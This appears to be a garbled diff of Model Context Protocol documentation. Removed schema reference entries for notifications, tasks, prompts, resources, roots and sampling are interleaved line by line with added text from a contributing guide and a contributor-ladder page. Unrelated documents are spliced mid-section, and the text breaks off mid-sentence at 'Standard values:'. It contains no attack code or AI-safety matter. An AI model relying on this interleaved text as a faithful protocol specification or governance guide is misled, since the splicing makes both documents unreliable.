+ + Each repository has its own `CONTRIBUTING.md` with specific instructions for + setting up your development environment, coding standards, commit message + conventions, and PR requirements. + -## `notifications/tools/list_changed` + + All contributions should include appropriate test coverage. Bug fixes should + include a test that reproduces the issue, and new features should have tests + covering the expected behavior. This helps maintain SDK reliability and + prevents regressions. + +
-
- ### `ToolListChangedNotification` +### SDK Repositories + + + -
interface ToolListChangedNotification \{
  jsonrpc: "2.0";
  method: "notifications/tools/list\_changed";
  params?: NotificationParams;
}

An optional notification from the server to the client, informing it that the list of tools it offers has changed. This may be issued by servers without any previous subscription from the client.

jsonrpc: "2.0"
method: "notifications/tools/list\_changed"
params?: NotificationParams
-
+ -## `notifications/elicitation/complete` + -
- ### `ElicitationCompleteNotification` + -
interface ElicitationCompleteNotification \{
  jsonrpc: "2.0";
  method: "notifications/elicitation/complete";
  params: \{ elicitationId: string };
}

An optional notification from the server to the client, informing it of a completion of a out-of-band elicitation request.

jsonrpc: "2.0"
method: "notifications/elicitation/complete"
params: \{ elicitationId: string }
Type Declaration
  • elicitationId: string

    The ID of the elicitation that completed.

-
+ -## `ping` + -
- ### `PingRequest` + -
interface PingRequest \{
  jsonrpc: "2.0";
  id: RequestId;
  method: "ping";
  params?: RequestParams;
}

A ping, issued by either the server or the client, to check that the other party is still alive. The receiver must promptly respond, or else may be disconnected.

jsonrpc: "2.0"
id: RequestId
method: "ping"
params?: RequestParams
-
+ -## `tasks` + -
- ### `CreateTaskResult` + + -
interface CreateTaskResult \{
  \_meta?: \{ \[key: string]: unknown };
  task: Task;
  \[key: string]: unknown;
}

A response to a task-augmented request.

\_meta?: \{ \[key: string]: unknown }

See General fields: \_meta for notes on \_meta usage.

task: Task
-
+## Getting Help -
- ### `RelatedTaskMetadata` +### Communication Channels -
interface RelatedTaskMetadata \{
  taskId: string;
}

Metadata for associating messages with a task. - Include this in the \_meta field under the key io.modelcontextprotocol/related-task.

taskId: string

The task identifier this message is associated with.

-
+Got questions or need guidance? The MCP community is here to help. -
- ### `Task` +* **[Discord](/community/communication#discord)** - Real-time discussion with contributors and + maintainers, focused on MCP contributions (not general MCP support) +* **[GitHub Discussions](https://github.com/modelcontextprotocol/modelcontextprotocol/discussions)** + \- Exploration and conversation: **feature requests**, questions, roadmap planning, and proposals + that need input before becoming concrete tasks +* **[GitHub Issues](https://github.com/modelcontextprotocol/modelcontextprotocol/issues)** - + Actionable work: bug reports with reproducible steps, documentation fixes, and tasks that are + well-defined and ready to implement (not feature requests) -
interface Task \{
  taskId: string;
  status: TaskStatus;
  statusMessage?: string;
  createdAt: string;
  lastUpdatedAt: string;
  ttl: number | null;
  pollInterval?: number;
}

Data associated with a task.

taskId: string

The task identifier.

status: TaskStatus

Current task state.

statusMessage?: string

Optional human-readable message describing the current task state. - This can provide context for any status, including:

  • Reasons for "cancelled" status
  • Summaries for "completed" status
  • Diagnostic information for "failed" status (e.g., error details, what went wrong)
createdAt: string

ISO 8601 timestamp when the task was created.

lastUpdatedAt: string

ISO 8601 timestamp when the task was last updated.

ttl: number | null

Actual retention duration from creation in milliseconds, null for unlimited.

pollInterval?: number

Suggested polling interval in milliseconds.

-
+This separation helps maintainers focus on work that's ready for implementation while giving ideas +room to develop. If you're unsure whether something is ready to be an issue, start with a +discussion. For a complete guide, see our [Contributor Communication](/community/communication) +documentation. -
- ### `TaskMetadata` +For protocol discussions, join [Working Group](/community/working-interest-groups) channels like +`#auth-wg` or `#server-identity-wg`. For SDK help, find your language's channel (e.g., +`#typescript-sdk-dev`). -
interface TaskMetadata \{
  ttl?: number;
}

Metadata for augmenting a request with task execution. - Include this in the task field of the request parameters.

ttl?: number

Requested duration in milliseconds to retain task from creation.

-
+### Finding a Sponsor for SEPs -
- ### `TaskStatus` +A **sponsor** is a Core Maintainer or Maintainer who champions your SEP through the review +process. They provide feedback, help refine your proposal, and present it at Core Maintainer +meetings. -
TaskStatus: "working" | "input\_required" | "completed" | "failed" | "cancelled"

The status of a task.

-
+ + Every SEP needs a sponsor to move forward. SEPs that don't find a sponsor + within 6 months are marked as **dormant**. Dormant SEPs aren't rejected + outright - they can be revived later if a sponsor is found or the proposal is + re-assessed to be needed. + -## `tasks/get` +To find a sponsor: -
- ### `GetTaskRequest` + + + Look at the [maintainer + list](https://github.com/modelcontextprotocol/modelcontextprotocol/blob/main/MAINTAINERS.md) + to find maintainers working in your area. + -
interface GetTaskRequest \{
  jsonrpc: "2.0";
  id: RequestId;
  method: "tasks/get";
  params: \{ taskId: string };
}

A request to retrieve the state of a task.

jsonrpc: "2.0"
id: RequestId
method: "tasks/get"
params: \{ taskId: string }
Type Declaration
  • taskId: string

    The task identifier to query.

-
+ + Tag 1-2 relevant maintainers (don't spam everyone). + -
- ### `GetTaskResult` + + Post your PR in the relevant Discord channel to increase visibility. + -
GetTaskResult: Result & Task

The response to a tasks/get request.

-
+ + If no response after 2 weeks, ask in `#general` or reach out to a Core + Maintainer. + +
-## `tasks/result` +Maintainers review open proposals regularly, but response time varies based on complexity and +availability. -
- ### `GetTaskPayloadRequest` +## Troubleshooting -
interface GetTaskPayloadRequest \{
  jsonrpc: "2.0";
  id: RequestId;
  method: "tasks/result";
  params: \{ taskId: string };
}

A request to retrieve the result of a completed task.

jsonrpc: "2.0"
id: RequestId
method: "tasks/result"
params: \{ taskId: string }
Type Declaration
  • taskId: string

    The task identifier to retrieve results for.

-
+Sometimes things don't go as planned - that's completely normal! Here are solutions to common +issues. If you're still stuck, don't hesitate to ask for help in +[Discord](/community/communication#discord). The community is friendly and happy to help you get +unstuck. -
- ### `GetTaskPayloadResult` +### `npm run check` fails -
interface GetTaskPayloadResult \{
  \_meta?: \{ \[key: string]: unknown };
  \[key: string]: unknown;
}

The response to a tasks/result request. - The structure matches the result type of the original request. - For example, a tools/call task would return the CallToolResult structure.

\_meta?: \{ \[key: string]: unknown }

See General fields: \_meta for notes on \_meta usage.

-
+Common causes: -## `tasks/list` +* **Wrong Node.js version** - Ensure you have Node.js 24+ +* **Missing dependencies** - Run `npm install` again +* **Schema out of sync** - Run `npm run generate:schema` +* **Formatting issues** - Run `npm run format` to auto-fix -
- ### `ListTasksRequest` +### My PR has been sitting unnoticed for weeks -
interface ListTasksRequest \{
  jsonrpc: "2.0";
  id: RequestId;
  params?: PaginatedRequestParams;
  method: "tasks/list";
}

A request to retrieve a list of tasks.

jsonrpc: "2.0"
id: RequestId
params?: PaginatedRequestParams
method: "tasks/list"
-
+1. Ensure all CI checks pass +2. Politely ping the desired reviewer in a comment +3. Ask in the relevant Discord channel +4. For urgent issues, reach out to a Core Maintainer -
- ### `ListTasksResult` +### I can't find a sponsor for my SEP -
interface ListTasksResult \{
  \_meta?: \{ \[key: string]: unknown };
  nextCursor?: string;
  tasks: Task\[];
  \[key: string]: unknown;
}

The response to a tasks/list request.

\_meta?: \{ \[key: string]: unknown }

See General fields: \_meta for notes on \_meta usage.

nextCursor?: string

An opaque token representing the pagination position after the last returned result. - If present, there may be more results available.

tasks: Task\[]
-
+1. Make sure your idea has been discussed in Discord or an Interest Group first +2. Proposals with demonstrated community interest are more likely to find sponsors +3. Consider whether your change might be too large - could it be split into smaller SEPs? -## `tasks/cancel` +### My SEP was rejected -
- ### `CancelTaskRequest` +Don't take it personally - a SEP rejection doesn't mean your idea was bad. SEPs can be rejected +for many reasons: timing, scope, competing priorities, or simply because the protocol isn't ready +for that change yet. The feedback you receive is valuable and often points toward a path forward. -
interface CancelTaskRequest \{
  jsonrpc: "2.0";
  id: RequestId;
  method: "tasks/cancel";
  params: \{ taskId: string };
}

A request to cancel a task.

jsonrpc: "2.0"
id: RequestId
method: "tasks/cancel"
params: \{ taskId: string }
Type Declaration
  • taskId: string

    The task identifier to cancel.

-
+Rejection is not permanent. You have a few options ahead: -
- ### `CancelTaskResult` +1. **Address the feedback and resubmit** - Often, rejection comes with specific concerns. + Addressing those concerns and resubmitting can be the right path forward. +2. **Discuss in Discord** - Talk with maintainers to better understand the concerns. Sometimes a + brief conversation reveals a simpler path forward. +3. **Try a different approach** - Submit a new SEP that addresses the same problem differently, + incorporating what you learned. +4. **Wait for the right moment** - Circumstances change. New use cases emerge, the community + grows, and priorities shift. An idea rejected today might be welcomed tomorrow. -
CancelTaskResult: Result & Task

The response to a tasks/cancel request.

-
+## Out of Scope -## `prompts/get` +This guide covers contributions to the **core MCP project** - the specification, official SDKs, +and documentation. -
- ### `GetPromptRequest` +Building your own MCP servers, clients, or tools is **not** covered here. For guidance on building +with MCP, see our documentation: -
interface GetPromptRequest \{
  jsonrpc: "2.0";
  id: RequestId;
  method: "prompts/get";
  params: GetPromptRequestParams;
}

Used by the client to get a prompt provided by the server.

jsonrpc: "2.0"
id: RequestId
method: "prompts/get"
params: GetPromptRequestParams
-
+* [Build a Server](/docs/develop/build-server) +* [Build a Client](/docs/develop/build-client) +* [Example Servers](/examples) -
- ### `GetPromptRequestParams` +If you build something you'd like to share with the community, you can submit it to the +[MCP Registry](/registry/about). -
interface GetPromptRequestParams \{
  \_meta?: \{ progressToken?: ProgressToken; \[key: string]: unknown };
  name: string;
  arguments?: \{ \[key: string]: string };
}

Parameters for a prompts/get request.

\_meta?: \{ progressToken?: ProgressToken; \[key: string]: unknown }

See General fields: \_meta for notes on \_meta usage.

Type Declaration
  • \[key: string]: unknown
  • OptionalprogressToken?: ProgressToken

    If specified, the caller is requesting out-of-band progress notifications for this request (as represented by notifications/progress). The value of this parameter is an opaque token that will be attached to any subsequent notifications. The receiver is not obligated to provide these notifications.

name: string

The name of the prompt or prompt template.

arguments?: \{ \[key: string]: string }

Arguments to use for templating the prompt.

-
+## AI Contributions -
- ### `GetPromptResult` +We welcome the use of AI tools like Claude or ChatGPT to help with your contributions! If you do +use AI assistance, just let us know in your pull request or issue - a quick note about how you +used it (drafting docs, generating code, brainstorming, etc.) is all we need. -
interface GetPromptResult \{
  \_meta?: \{ \[key: string]: unknown };
  description?: string;
  messages: PromptMessage\[];
  \[key: string]: unknown;
}

The server's response to a prompts/get request from the client.

\_meta?: \{ \[key: string]: unknown }

See General fields: \_meta for notes on \_meta usage.

description?: string

An optional description for the prompt.

messages: PromptMessage\[]
-
+The key is that you understand and can stand behind your contribution: -
- ### `PromptMessage` +* **You get it** - You understand what the changes do and can explain them +* **You know why** - You can articulate why the change is needed +* **You've verified it** - You've tested or validated that it works as intended -
interface PromptMessage \{
  role: Role;
  content: ContentBlock;
}

Describes a message returned as part of a prompt.

This is similar to SamplingMessage, but also supports the embedding of - resources from the MCP server.

role: Role
content: ContentBlock
-
+You can read more about our stance in +[our spec contribution guidelines](https://github.com/modelcontextprotocol/modelcontextprotocol/blob/main/CONTRIBUTING.md#ai-contributions). -## `prompts/list` +## Code of Conduct -
- ### `ListPromptsRequest` +All contributors must follow the +[Code of Conduct](https://github.com/modelcontextprotocol/modelcontextprotocol/blob/main/CODE_OF_CONDUCT.md). +We expect respectful, professional, and inclusive interactions across all channels. -
interface ListPromptsRequest \{
  jsonrpc: "2.0";
  id: RequestId;
  params?: PaginatedRequestParams;
  method: "prompts/list";
}

Sent from the client to request a list of prompts and prompt templates the server has.

jsonrpc: "2.0"
id: RequestId
params?: PaginatedRequestParams
method: "prompts/list"
-
+## License -
- ### `ListPromptsResult` +By contributing, you agree that your contributions will be licensed under: -
interface ListPromptsResult \{
  \_meta?: \{ \[key: string]: unknown };
  nextCursor?: string;
  prompts: Prompt\[];
  \[key: string]: unknown;
}

The server's response to a prompts/list request from the client.

\_meta?: \{ \[key: string]: unknown }

See General fields: \_meta for notes on \_meta usage.

nextCursor?: string

An opaque token representing the pagination position after the last returned result. - If present, there may be more results available.

prompts: Prompt\[]
-
+* **Code and specifications**: Apache License 2.0 +* **Documentation** (excluding specifications): CC-BY 4.0 -
- ### `Prompt` +See the +[LICENSE](https://github.com/modelcontextprotocol/modelcontextprotocol/blob/main/LICENSE) file for +details. -
interface Prompt \{
  icons?: Icon\[];
  name: string;
  title?: string;
  description?: string;
  arguments?: PromptArgument\[];
  \_meta?: \{ \[key: string]: unknown };
}

A prompt or prompt template that the server offers.

icons?: Icon\[]

Optional set of sized icons that the client can display in a user interface.

Clients that support rendering icons MUST support at least the following MIME types:

  • image/png - PNG images (safe, universal compatibility)
  • image/jpeg (and image/jpg) - JPEG images (safe, universal compatibility)

Clients that support rendering icons SHOULD also support:

  • image/svg+xml - SVG images (scalable but requires security precautions)
  • image/webp - WebP images (modern, efficient format)
name: string

Intended for programmatic or logical use, but used as a display name in past specs or fallback (if title isn't present).

title?: string

Intended for UI and end-user contexts — optimized to be human-readable and easily understood, - even by those unfamiliar with domain-specific terminology.

If not provided, the name should be used for display (except for Tool, - where annotations.title should be given precedence over using name, - if present).

description?: string

An optional description of what this prompt provides

arguments?: PromptArgument\[]

A list of arguments to use for templating the prompt.

\_meta?: \{ \[key: string]: unknown }

See General fields: \_meta for notes on \_meta usage.

-
-
- ### `PromptArgument` +# Contributor Ladder +Source: https://modelcontextprotocol.io/community/contributor-ladder -
interface PromptArgument \{
  name: string;
  title?: string;
  description?: string;
  required?: boolean;
}

Describes an argument that a prompt can accept.

name: string

Intended for programmatic or logical use, but used as a display name in past specs or fallback (if title isn't present).

title?: string

Intended for UI and end-user contexts — optimized to be human-readable and easily understood, - even by those unfamiliar with domain-specific terminology.

If not provided, the name should be used for display (except for Tool, - where annotations.title should be given precedence over using name, - if present).

description?: string

A human-readable description of the argument.

required?: boolean

Whether this argument must be provided.

-
+Roles, responsibilities, and advancement criteria for MCP contributors, from first contribution to Core Maintainer -## `resources/list` +The Model Context Protocol contributor ladder defines roles, responsibilities, and advancement criteria for the project. It shows community members how to grow their involvement from a first contribution to project leadership. -
- ### `ListResourcesRequest` +This document implements [SEP-2148](/seps/2148-contributor-ladder). For Working Group and Interest Group governance, see [SEP-2149](/seps/2149-working-group-charter-template). -
interface ListResourcesRequest \{
  jsonrpc: "2.0";
  id: RequestId;
  params?: PaginatedRequestParams;
  method: "resources/list";
}

Sent from the client to request a list of resources the server has.

jsonrpc: "2.0"
id: RequestId
params?: PaginatedRequestParams
method: "resources/list"
-
+## Guiding Principles -
- ### `ListResourcesResult` +* **Earned Trust.** Advancement follows from demonstrated contributions, good judgment, and sustained engagement. Tenure alone is not enough. +* **Multiple Growth Pathways.** Code, specification work, documentation, and community building all lead to advancement. +* **Transparency.** Criteria for advancement are explicit and applied consistently. +* **Alignment With MCP Goals.** Contributors must show commitment to MCP beyond any single employer's interests. -
interface ListResourcesResult \{
  \_meta?: \{ \[key: string]: unknown };
  nextCursor?: string;
  resources: Resource\[];
  \[key: string]: unknown;
}

The server's response to a resources/list request from the client.

\_meta?: \{ \[key: string]: unknown }

See General fields: \_meta for notes on \_meta usage.

nextCursor?: string

An opaque token representing the pagination position after the last returned result. - If present, there may be more results available.

resources: Resource\[]
-
+## Roles at a Glance -
- ### `Resource` +| Role | Summary | Key Privileges | Minimum Timeline | +| ----------------------------------------------- | --------------------------------------------- | ------------------------------------------------------------------------- | ----------------------------------------------------- | +| [**Contributor**](#contributor) | Anyone who contributes to MCP | Submit issues, PRs, participate in discussions | Immediate | +| [**Member**](#member) | Established, active contributor | GitHub org membership, triage rights, eligible for WG/IG leadership | 2-3 months of meaningful contributions | +| [**Maintainer**](#maintainer) | Area steward with operational responsibility | Merge rights, release participation | 6+ months as Member | +| [**Core Maintainer**](#core-maintainer) | Technical leadership and protocol stewardship | Final decision authority, governance participation | By invitation after sustained Maintainer contribution | +| [**Lead Maintainer**](#lead-maintainer) | Ultimate project authority (founders) | All Core Maintainer privileges, veto authority, appoints Core Maintainers | Reserved for project founders; succession only | +| [**Community Moderator**](#community-moderator) | CoC enforcement and community health | Moderation rights on community platforms, incident handling | Parallel track: Member status + appointment | -
interface Resource \{
  icons?: Icon\[];
  name: string;
  title?: string;
  uri: string;
  description?: string;
  mimeType?: string;
  annotations?: Annotations;
  size?: number;
  \_meta?: \{ \[key: string]: unknown };
}

A known resource that the server is capable of reading.

icons?: Icon\[]

Optional set of sized icons that the client can display in a user interface.

Clients that support rendering icons MUST support at least the following MIME types:

  • image/png - PNG images (safe, universal compatibility)
  • image/jpeg (and image/jpg) - JPEG images (safe, universal compatibility)

Clients that support rendering icons SHOULD also support:

  • image/svg+xml - SVG images (scalable but requires security precautions)
  • image/webp - WebP images (modern, efficient format)
name: string

Intended for programmatic or logical use, but used as a display name in past specs or fallback (if title isn't present).

title?: string

Intended for UI and end-user contexts — optimized to be human-readable and easily understood, - even by those unfamiliar with domain-specific terminology.

If not provided, the name should be used for display (except for Tool, - where annotations.title should be given precedence over using name, - if present).

uri: string

The URI of this resource.

description?: string

A description of what this resource represents.

This can be used by clients to improve the LLM's understanding of available resources. It can be thought of like a "hint" to the model.

mimeType?: string

The MIME type of this resource, if known.

annotations?: Annotations

Optional annotations for the client.

size?: number

The size of the raw resource content, in bytes (i.e., before base64 encoding or any tokenization), if known.

This can be used by Hosts to display file sizes and estimate context window usage.

\_meta?: \{ \[key: string]: unknown }

See General fields: \_meta for notes on \_meta usage.

-
+ + Timelines are minimums, not guarantees. They protect the project from rapid + privilege escalation and ensure a high bar of demonstrated commitment. Actual + advancement is discretionary and may take longer. Exceptions require explicit + Core Maintainer approval with documented rationale. + -## `resources/read` +*** -
- ### `ReadResourceRequest` +## Contributor -
interface ReadResourceRequest \{
  jsonrpc: "2.0";
  id: RequestId;
  method: "resources/read";
  params: ReadResourceRequestParams;
}

Sent from the client to the server, to read a specific resource URI.

jsonrpc: "2.0"
id: RequestId
method: "resources/read"
params: ReadResourceRequestParams
-
+Anyone who has contributed to MCP in any form is a Contributor. This includes opening issues, submitting pull requests, participating in working group discussions, improving documentation, or helping other community members. -
- ### `ReadResourceRequestParams` +**There are no formal requirements.** We welcome all contributions that follow our contributing guidelines. -
interface ReadResourceRequestParams \{
  \_meta?: \{ progressToken?: ProgressToken; \[key: string]: unknown };
  uri: string;
}

Parameters for a resources/read request.

\_meta?: \{ progressToken?: ProgressToken; \[key: string]: unknown }

See General fields: \_meta for notes on \_meta usage.

Type Declaration
  • \[key: string]: unknown
  • OptionalprogressToken?: ProgressToken

    If specified, the caller is requesting out-of-band progress notifications for this request (as represented by notifications/progress). The value of this parameter is an opaque token that will be attached to any subsequent notifications. The receiver is not obligated to provide these notifications.

uri: string

The URI of the resource. The URI can use any protocol; it is up to the server how to interpret it.

-
+**Getting started:** -
- ### `ReadResourceResult` +* Review the [Contributing Guide](/community/contributing) +* Join community channels (Discord, GitHub Discussions) +* Look for issues tagged `good-first-issue` or `help-wanted` +* Attend working group meetings -
interface ReadResourceResult \{
  \_meta?: \{ \[key: string]: unknown };
  contents: (TextResourceContents | BlobResourceContents)\[];
  \[key: string]: unknown;
}

The server's response to a resources/read request from the client.

\_meta?: \{ \[key: string]: unknown }

See General fields: \_meta for notes on \_meta usage.

contents: (TextResourceContents | BlobResourceContents)\[]
-
+*** -## `resources/subscribe` +## Member -
- ### `SubscribeRequest` +Members are established contributors with a record of ongoing commitment to MCP. -
interface SubscribeRequest \{
  jsonrpc: "2.0";
  id: RequestId;
  method: "resources/subscribe";
  params: SubscribeRequestParams;
}

Sent from the client to request resources/updated notifications from the server whenever a particular resource changes.

jsonrpc: "2.0"
id: RequestId
method: "resources/subscribe"
params: SubscribeRequestParams
-
+**Requirements:** -
- ### `SubscribeRequestParams` +* Multiple contributions to MCP (code, documentation, and/or community) +* At least one merged PR or accepted contribution +* Ongoing engagement with the community, not just one-off contributions +* Two-factor authentication enabled on GitHub +* No objections from existing Members within 7 days -
interface SubscribeRequestParams \{
  \_meta?: \{ progressToken?: ProgressToken; \[key: string]: unknown };
  uri: string;
}

Parameters for a resources/subscribe request.

\_meta?: \{ progressToken?: ProgressToken; \[key: string]: unknown }

See General fields: \_meta for notes on \_meta usage.

Type Declaration
  • \[key: string]: unknown
  • OptionalprogressToken?: ProgressToken

    If specified, the caller is requesting out-of-band progress notifications for this request (as represented by notifications/progress). The value of this parameter is an opaque token that will be attached to any subsequent notifications. The receiver is not obligated to provide these notifications.

uri: string

The URI of the resource. The URI can use any protocol; it is up to the server how to interpret it.

-
+**Sponsorship:** -## `resources/templates/list` +* Sponsored by two existing Members or Maintainers from different organizations, **or** +* Sponsored by one Core Maintainer or Lead Maintainer -
- ### `ListResourceTemplatesRequest` +**Minimum timeline:** 2-3 months of active participation -
interface ListResourceTemplatesRequest \{
  jsonrpc: "2.0";
  id: RequestId;
  params?: PaginatedRequestParams;
  method: "resources/templates/list";
}

Sent from the client to request a list of resource templates the server has.

jsonrpc: "2.0"
id: RequestId
params?: PaginatedRequestParams
method: "resources/templates/list"
-
+**Responsibilities:** -
- ### `ListResourceTemplatesResult` +* Continue contributing in good faith +* Respond to assigned issues and PRs +* Follow community guidelines and the code of conduct +* Help onboard new contributors when possible -
interface ListResourceTemplatesResult \{
  \_meta?: \{ \[key: string]: unknown };
  nextCursor?: string;
  resourceTemplates: ResourceTemplate\[];
  \[key: string]: unknown;
}

The server's response to a resources/templates/list request from the client.

\_meta?: \{ \[key: string]: unknown }

See General fields: \_meta for notes on \_meta usage.

nextCursor?: string

An opaque token representing the pagination position after the last returned result. - If present, there may be more results available.

resourceTemplates: ResourceTemplate\[]
-
+**Privileges:** -
- ### `ResourceTemplate` +* GitHub organization membership with triage rights +* Can be assigned to issues and PRs +* Can use shortcut approval or review commands on PRs, such as `/lgtm` +* Listed in the community membership roster +* Can create PRs in restricted repositories +* Eligible for Working Group Lead or Interest Group Facilitator roles -
interface ResourceTemplate \{
  icons?: Icon\[];
  name: string;
  title?: string;
  uriTemplate: string;
  description?: string;
  mimeType?: string;
  annotations?: Annotations;
  \_meta?: \{ \[key: string]: unknown };
}

A template description for resources available on the server.

icons?: Icon\[]

Optional set of sized icons that the client can display in a user interface.

Clients that support rendering icons MUST support at least the following MIME types:

  • image/png - PNG images (safe, universal compatibility)
  • image/jpeg (and image/jpg) - JPEG images (safe, universal compatibility)

Clients that support rendering icons SHOULD also support:

  • image/svg+xml - SVG images (scalable but requires security precautions)
  • image/webp - WebP images (modern, efficient format)
name: string

Intended for programmatic or logical use, but used as a display name in past specs or fallback (if title isn't present).

title?: string

Intended for UI and end-user contexts — optimized to be human-readable and easily understood, - even by those unfamiliar with domain-specific terminology.

If not provided, the name should be used for display (except for Tool, - where annotations.title should be given precedence over using name, - if present).

uriTemplate: string

A URI template (according to RFC 6570) that can be used to construct resource URIs.

description?: string

A description of what this template is for.

This can be used by clients to improve the LLM's understanding of available resources. It can be thought of like a "hint" to the model.

mimeType?: string

The MIME type for all resources that match this template. This should only be included if all resources matching this template have the same type.

annotations?: Annotations

Optional annotations for the client.

\_meta?: \{ \[key: string]: unknown }

See General fields: \_meta for notes on \_meta usage.

-
+**Inactivity:** Members with no contributions for 3 months may be moved to emeritus status. Re-engagement follows a simplified re-familiarization process. -## `resources/unsubscribe` +*** -
- ### `UnsubscribeRequest` +## Maintainer -
interface UnsubscribeRequest \{
  jsonrpc: "2.0";
  id: RequestId;
  method: "resources/unsubscribe";
  params: UnsubscribeRequestParams;
}

Sent from the client to request cancellation of resources/updated notifications from the server. This should follow a previous resources/subscribe request.

jsonrpc: "2.0"
id: RequestId
method: "resources/unsubscribe"
params: UnsubscribeRequestParams
-
+Maintainers are trusted stewards who take operational responsibility for specific areas. -
- ### `UnsubscribeRequestParams` +**Requirements:** -
interface UnsubscribeRequestParams \{
  \_meta?: \{ progressToken?: ProgressToken; \[key: string]: unknown };
  uri: string;
}

Parameters for a resources/unsubscribe request.

\_meta?: \{ progressToken?: ProgressToken; \[key: string]: unknown }

See General fields: \_meta for notes on \_meta usage.

Type Declaration
  • \[key: string]: unknown
  • OptionalprogressToken?: ProgressToken

    If specified, the caller is requesting out-of-band progress notifications for this request (as represented by notifications/progress). The value of this parameter is an opaque token that will be attached to any subsequent notifications. The receiver is not obligated to provide these notifications.

uri: string

The URI of the resource. The URI can use any protocol; it is up to the server how to interpret it.

-
+* Member for at least 6 months with sustained, high-quality contributions +* Demonstrated leadership in working groups or significant initiatives +* Ability to represent MCP's interests above those of any single employer or organization +* Deep understanding of the MCP vision, roadmap, and design principles +* Understanding of how the area impacts real-world AI integration and model interaction patterns +* Completed security and governance onboarding -## `roots/list` +**Sponsorship and Approval:** -
- ### `ListRootsRequest` +* Sponsored by an existing Maintainer or Core Maintainer +* Approved by Core Maintainers -
interface ListRootsRequest \{
  jsonrpc: "2.0";
  id: RequestId;
  method: "roots/list";
  params?: RequestParams;
}

Sent from the server to request a list of root URIs from the client. Roots allow - servers to ask for specific directories or files to operate on. A common example - for roots is providing a set of repositories or directories a server should operate - on.

This request is typically used when the server needs to understand the file system - structure or access specific locations that the client has permission to read from.

jsonrpc: "2.0"
id: RequestId
method: "roots/list"
params?: RequestParams
-
+**Responsibilities:** -
- ### `ListRootsResult` +* Own the operational health of the area (test stability, documentation currency) +* Run release processes and milestone planning for the scope +* Provide timely review of escalated decisions +* Participate actively in governance discussions +* Mentor Members and develop future Maintainers +* Represent MCP in external contexts when appropriate +* Engage with the area ecosystem and stakeholders; understand real-world usage and represent community needs +* Ensure proposals reaching Core Maintainers are refined, well-considered, and account for ecosystem-wide impact +* Participate actively in discussions on communication channels (GitHub issues, Discord) -
interface ListRootsResult \{
  \_meta?: \{ \[key: string]: unknown };
  roots: Root\[];
  \[key: string]: unknown;
}

The client's response to a roots/list request from the server. - This result contains an array of Root objects, each representing a root directory - or file that the server can operate on.

\_meta?: \{ \[key: string]: unknown }

See General fields: \_meta for notes on \_meta usage.

roots: Root\[]
-
+**Privileges:** -
- ### `Root` +* Merge privileges for owned areas +* Can sponsor new Maintainers +* Participate in roadmap and prioritization discussions +* Listed in `MAINTAINERS.md` -
interface Root \{
  uri: string;
  name?: string;
  \_meta?: \{ \[key: string]: unknown };
}

Represents a root directory or file that the server can operate on.

uri: string

The URI identifying the root. This must start with file:// for now. - This restriction may be relaxed in future versions of the protocol to allow - other URI schemes.

name?: string

An optional name for the root. This can be used to provide a human-readable - identifier for the root, which may be useful for display purposes or for - referencing the root in other parts of the application.

\_meta?: \{ \[key: string]: unknown }

See General fields: \_meta for notes on \_meta usage.

-
+**Inactivity:** Maintainers with no contributions for 6 months may be moved to emeritus status following review by Core Maintainers. Merge rights are revoked upon emeritus transition. Re-engagement requires completing security and governance onboarding again. -## `sampling/createMessage` +All contribution pathways can lead to Maintainer. The specific scope will align with the contribution type. -
- ### `CreateMessageRequest` +*** -
interface CreateMessageRequest \{
  jsonrpc: "2.0";
  id: RequestId;
  method: "sampling/createMessage";
  params: CreateMessageRequestParams;
}

A request from the server to sample an LLM via the client. The client has full discretion over which model to select. The client should also inform the user before beginning sampling, to allow them to inspect the request (human in the loop) and decide whether to approve it.

jsonrpc: "2.0"
id: RequestId
method: "sampling/createMessage"
params: CreateMessageRequestParams
-
+## Core Maintainer -
- ### `CreateMessageRequestParams` +Core Maintainers hold final decision-making authority for MCP's technical direction. This is the highest level of trust in the community. -
interface CreateMessageRequestParams \{
  task?: TaskMetadata;
  \_meta?: \{ progressToken?: ProgressToken; \[key: string]: unknown };
  messages: SamplingMessage\[];
  modelPreferences?: ModelPreferences;
  systemPrompt?: string;
  includeContext?: "none" | "thisServer" | "allServers";
  temperature?: number;
  maxTokens: number;
  stopSequences?: string\[];
  metadata?: object;
  tools?: Tool\[];
  toolChoice?: ToolChoice;
}

Parameters for a sampling/createMessage request.

task?: TaskMetadata

If specified, the caller is requesting task-augmented execution for this request. - The request will return a CreateTaskResult immediately, and the actual result can be - retrieved later via tasks/result.

Task augmentation is subject to capability negotiation - receivers MUST declare support - for task augmentation of specific request types in their capabilities.

\_meta?: \{ progressToken?: ProgressToken; \[key: string]: unknown }

See General fields: \_meta for notes on \_meta usage.

Type Declaration
  • \[key: string]: unknown
  • OptionalprogressToken?: ProgressToken

    If specified, the caller is requesting out-of-band progress notifications for this request (as represented by notifications/progress). The value of this parameter is an opaque token that will be attached to any subsequent notifications. The receiver is not obligated to provide these notifications.

messages: SamplingMessage\[]
modelPreferences?: ModelPreferences

The server's preferences for which model to select. The client MAY ignore these preferences.

systemPrompt?: string

An optional system prompt the server wants to use for sampling. The client MAY modify or omit this prompt.

includeContext?: "none" | "thisServer" | "allServers"

A request to include context from one or more MCP servers (including the caller), to be attached to the prompt. - The client MAY ignore this request.

Default is "none". Values "thisServer" and "allServers" are soft-deprecated. Servers SHOULD only use these values if the client - declares ClientCapabilities.sampling.context. These values may be removed in future spec releases.

temperature?: number
maxTokens: number

The requested maximum number of tokens to sample (to prevent runaway completions).

The client MAY choose to sample fewer tokens than the requested maximum.

stopSequences?: string\[]
metadata?: object

Optional metadata to pass through to the LLM provider. The format of this metadata is provider-specific.

tools?: Tool\[]

Tools that the model may use during generation. - The client MUST return an error if this field is provided but ClientCapabilities.sampling.tools is not declared.

toolChoice?: ToolChoice

Controls how the model uses tools. - The client MUST return an error if this field is provided but ClientCapabilities.sampling.tools is not declared. - Default is \{ mode: "auto" }.

-
+ + The Core Maintainer role is intentionally limited. This ensures a coherent + technical vision while the project scales. Bandwidth concerns are addressed + through delegation to Maintainers, Working Group Leads, and Interest Group + Facilitators, not by expanding Core Maintainer numbers. + -
- ### `CreateMessageResult` +**Requirements:** -
interface CreateMessageResult \{
  \_meta?: \{ \[key: string]: unknown };
  model: string;
  stopReason?: string;
  role: Role;
  content: SamplingMessageContentBlock | SamplingMessageContentBlock\[];
  \[key: string]: unknown;
}

The client's response to a sampling/createMessage request from the server. - The client should inform the user before returning the sampled message, to allow them - to inspect the response (human in the loop) and decide whether to allow the server to see it.

\_meta?: \{ \[key: string]: unknown }

See General fields: \_meta for notes on \_meta usage.

model: string

The name of the model that generated the message.

stopReason?: string

The reason why sampling stopped, if known.

Standard values:

